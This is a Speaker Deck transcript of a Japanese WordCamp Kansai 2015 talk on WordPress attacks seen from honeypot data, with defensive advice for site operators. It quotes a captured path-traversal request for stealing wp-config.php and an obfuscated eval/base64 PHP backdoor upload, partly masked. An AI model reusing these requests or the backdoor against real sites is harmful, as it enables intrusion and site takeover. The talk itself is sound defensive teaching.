Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
Search
yoshinori matsumoto
July 27, 2015
Technology
8
4.8k
攻撃者からみたWordPressセキュリティ / WordCamp Kansai 2015
WordCamp Kansai 2015
2015/07/26
yoshinori matsumoto
July 27, 2015
Tweet
Share
More Decks by yoshinori matsumoto
See All by yoshinori matsumoto
WordPress セキュリティガイド #wpmeetupkyoto / WP Security Guide
ym405nm
6
3.4k
FIDO2導入してみたを考えてみた / Around The Auth Capy Matsumoto
ym405nm
0
220
Hack L33t Fighters Ⅱ #owaspsendai
ym405nm
0
290
WordPress保安検査ガイド〜運用可能なセキュリティを始めるために〜 / wpcamp_haneda_security
ym405nm
1
650
CAPYのFIDOへの取り組み / Capy FIDO
ym405nm
0
150
WordPress 管理者がおさえておきたい Web アプリケーションセキュリティ / owasp-wordpress-meetup
ym405nm
1
1.5k
Extreme Honyepotter
ym405nm
0
810
コミュニティ活動からみるPHPセキュリティ / PHP Conference Kansai 2015
ym405nm
0
520
Other Decks in Technology
See All in Technology
第3回Snowflake女子会_LT登壇資料(合成データ)_Taro_CCCMK
tarotaro0129
0
180
サイボウズフロントエンドエキスパートチームについて / FrontendExpert Team
cybozuinsideout
PRO
5
38k
バクラクのドキュメント解析技術と実データにおける課題 / layerx-ccc-winter-2024
shimacos
2
1k
社内イベント管理システムを1週間でAKSからACAに移行した話し
shingo_kawahara
0
180
オプトインカメラ:UWB測位を応用したオプトイン型のカメラ計測
matthewlujp
0
170
Oracle Cloud Infrastructure:2024年12月度サービス・アップデート
oracle4engineer
PRO
0
160
TSKaigi 2024 の登壇から広がったコミュニティ活動について
tsukuha
0
160
Jetpack Composeで始めるServer Cache State
ogaclejapan
2
160
複雑性の高いオブジェクト編集に向き合う: プラガブルなReactフォーム設計
righttouch
PRO
0
110
アップデート紹介:AWS Data Transfer Terminal
stknohg
PRO
0
170
サーバレスアプリ開発者向けアップデートをキャッチアップしてきた #AWSreInvent #regrowth_fuk
drumnistnakano
0
190
10個のフィルタをAXI4-Streamでつなげてみた
marsee101
0
160
Featured
See All Featured
Designing for Performance
lara
604
68k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
226
22k
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
6
510
Building Better People: How to give real-time feedback that sticks.
wjessup
365
19k
Product Roadmaps are Hard
iamctodd
PRO
49
11k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
0
94
The Psychology of Web Performance [Beyond Tellerrand 2023]
tammyeverts
45
2.2k
Mobile First: as difficult as doing things right
swwweet
222
9k
Git: the NoSQL Database
bkeepers
PRO
427
64k
Rails Girls Zürich Keynote
gr2m
94
13k
Scaling GitHub
holman
458
140k
What's in a price? How to price your products and services
michaelherold
243
12k
Transcript
攻撃者からみた WordPressセキュリティ 松本 悦宜 @ym405nm 発表 2015/07/27 加筆修正 2015/07/28
自己紹介 • 松本 悦宜 (まつもと よしのり) • 神戸デジタル・ラボ セキュリティソリューション事業部 •
セキュリティ診断 / コンサルティング • 講演: OWASP AppSec APAC 2014, Hack In The Box Amsterdam HAXPO 2014, HTML5とか勉強会 • 共著:WordPressプロフェッショナル養成読本(技術評論社) • 脆弱性報告: Welcart、MailPoet Plugin など @ym405nm
目次 • 現状 • 攻撃者について • 実際に攻撃されてみた • 傾向と対策 •
まとめ
WordPress セキュリティの現状
WordPress = 狙われる? 熊本競輪でサイト改ざん - 原因はWPプラグイン「FancyBox」の脆弱性 http://www.security-next.com/056249l
現状 マルウェアが設置されているサイトのうち 19% が WordPressという調査も
脆弱性の数 昨年1年間に JVN に届けられている数は 17 件 http://jvndb.jvn.jp/
脆弱性の数 関連ソフトウェアも含めると 301 件 ※例外が含まれていたり、JVNに届けられていないものもあります 参考 Drupal : 81件
攻撃者について
誰がやってるのか? • ハクティビスト • 政治的主張など、自分たちの主張を通すためにサイトを改ざんする • 改ざんしたものを目立つようにアピールする • マルウェア配布者 •
難読化したスクリプトなどを仕込み訪問者にマルウェア感染させる • 標的型攻撃者グループ • 使用するマルウェアのホスティングとして使用する • 攻撃者と通信をし、他社への攻撃に利用される
ハクティビストによる攻撃事例 • よく見られる改ざんパターン HACKED BY A HACKER For Sale!! ①
攻撃者の名前や主張が 表示される場合 ② 偽ブランドサイトに 書き換えられる場合
(会場のみ)
標的型攻撃に利用される例 踏み台サイト (WordPress) 攻撃者 標的となる組織 ①マルウエア設置 ②標的型メール送信 ③誘導
なぜ狙うのか?
なぜWordPressを狙うのか • 圧倒的なユーザ数 • 行き届かないユーザ管理 • 100人以上の編集者を抱えるサイト • 編集者、管理者の面識がほとんどないサイト •
サードパーティ製ソフトウェアの普及 • テーマやプラグイン • セキュリティレベルはそれぞれの開発者に依存する
なぜWordPressを狙うのか • 古いバージョンは脆弱性がわかっている • 脆弱性情報から詳細が推測可能なものも • ソースコードから攻撃手法が推測可能 • 攻撃手法が公開されているものもある
WordPress ≠あぶない! • シェアが多いという点で狙われがちではあるが… • 本体のセキュリティに対する意識が高い • セキュリティ対策が増えてきた 危ないというイメージよりも、 安全に運用しようという意識が大事
どのように?
どのように狙われているのか • 攻撃者は弱そうな WordPress を狙っている • どこを狙えばいいのか • URLから特徴がわかるのか •
脆弱なソフトウェアを使用しているサイトを探す • 脆弱性情報を共有するメーリングリスト • 脆弱性売買サイト ※ただし WordPress 関連の脆弱性は 無料で配布されていることが多い データを集めてみた
実際に攻撃されてみた
攻撃を集めるには WordPress WordPress 攻撃者 なぜ攻撃されない? なぜ攻撃される?
攻撃を集めるには WordPress 攻撃者 攻撃されるコンテンツとは?
どのように狙われているのか WP BOT ログ解析 コンテンツ投稿 攻撃/スキャン 収集 WP WP Demo
収集した結果
最近多く見られる攻撃パターン • アカウントクラッキング • wp-config.php 情報の窃取 • ファイルアップロード 簡単に事例をみてみましょう! WordPressに対する攻撃
テーマ・プラグインに対する攻撃
アカウントクラッキング 試行パスワード 回数 [server-name]123456 96 0 72 [server-name]123 49 [server-name][server-name]
48 [server-name]000000 48 [server-name]111 48 [server-name]111111 48 [server-name]1234 48 [server-name]12345 48 [server-name]12345678 48 [server-name]123abc 48 [server-name]222 48 [server-name]222222 48 [server-name]333 48 [server-name]444 48 [server-name]555 48 [server-name]555555 48 [server-name]666 48 [server-name]666666 48 ※ 2014年3月~5月計測
wp-config.php 情報の窃取 POST /wp-content/themes/dejavu/lib/scripts/dl-skin.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux amd64)
AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Host: server Accept-Encoding: gzip Referer: http://server Accept-Charset: utf-8,windows-1251;q=0.7,*;q=0.6 Accept-Language: en-us,en;q=0.8 Keep-Alive: 300 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.4 Content-Length: 60 Content-Type: application/x-www-form-urlencoded _mysite_download_skin=..%2F..%2F..%2F..%2F..%2Fwp-config.php wp-config.php の内容を読み取ろうとしている (会場のみ) (会場のみ)
ファイルアップロード Content-Disposition: form-data; name="Filedata"; filename="ifire.php" Content-Type: text/plain <?php eval(gzinflate(base64_decode("DZZHDqwIEkTv0qv/xQIovEa9wHtXeDYtvPee009dIJX5FBk RxZn0f6q3Gcs+2Ys/abIVOPpfXmRTXvz5R4hjYd08eetcBFr0pQjoAYzFmIynUXP1twBDkLIVp
9ku+c7Gx5lyEF*******sO0rvRimq14L4AP4oNUm42E/uiMCbyyu1txOSxZtXwSNTvMO1d 1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX/u8/f//+/d//AQ=="))); ?> 既知のファイルアップロード機能に認証がない脆弱性を使用して PHPファイルをアップロードしようとしている アップロードされたファイルは 攻撃者の攻撃用ツールとして動作される
ファイルアップロードって? 画像 攻撃用 WordPress テーマ 攻撃者によるアップロード方法 外部からアクセス可能 セキュリティ用語では「バックドア」と呼ばれ 攻撃者とサーバの裏口/勝手口のように使われる
(会場のみ)
悪用事例 • ページを改ざんされる • データベースの情報を持っていかれる • 他のサーバ/サイトの攻撃の踏み台になる
運用者の対策
運用者の対策(鉄則編) • WordPress やテーマ・プラグインは最新版に保つ • アカウントの管理をしっかりする • パスワードは強度なものにする • テーマ
/ プラグインの選定をする • メンテナンス頻度 • 脆弱性情報への対応頻度 • 明らかに不要なものは無効→削除しておく
運用者の対策(応用編) • セキュリティ拡張機能(プラグイン)や、セキュ リティ製品の導入を検討する
運用者の対策 • あわせて対策したい • サーバの選定 • ログの確認(ログイン履歴、アクセスログ) • 脆弱性情報の収集
まとめ
まとめ • 今後もWordPressに対する攻撃は減らない • 攻撃者は既知のテーマ / プラグインの脆弱性を使用す ることが多い • アカウントの管理や、テーマ
/ プラグインの管理を しっかりとする 安全なWordPressライフを!
おまけ
Follow me! 会員サイトとして、 適宜詳細データをお知らせする予定です 画面イメージ(開発中のものです) 今日ご紹介したデータは専用サイトにて公開予定 • 現在β版として運用中です • 正式版は有料アカウントとしてサービスの提供予定です
• 現在、レビュアーを募集中です。(主に開発者・セキュリティ関係者にお願いしています。レビュー期間中は無料でサービス をご使用いただけます) http://wp-portal.net
ご清聴ありがとうございました Any Questions ? Mail :
[email protected]
Twitter : ym405nm
Facebook : facebook.com/ym405nm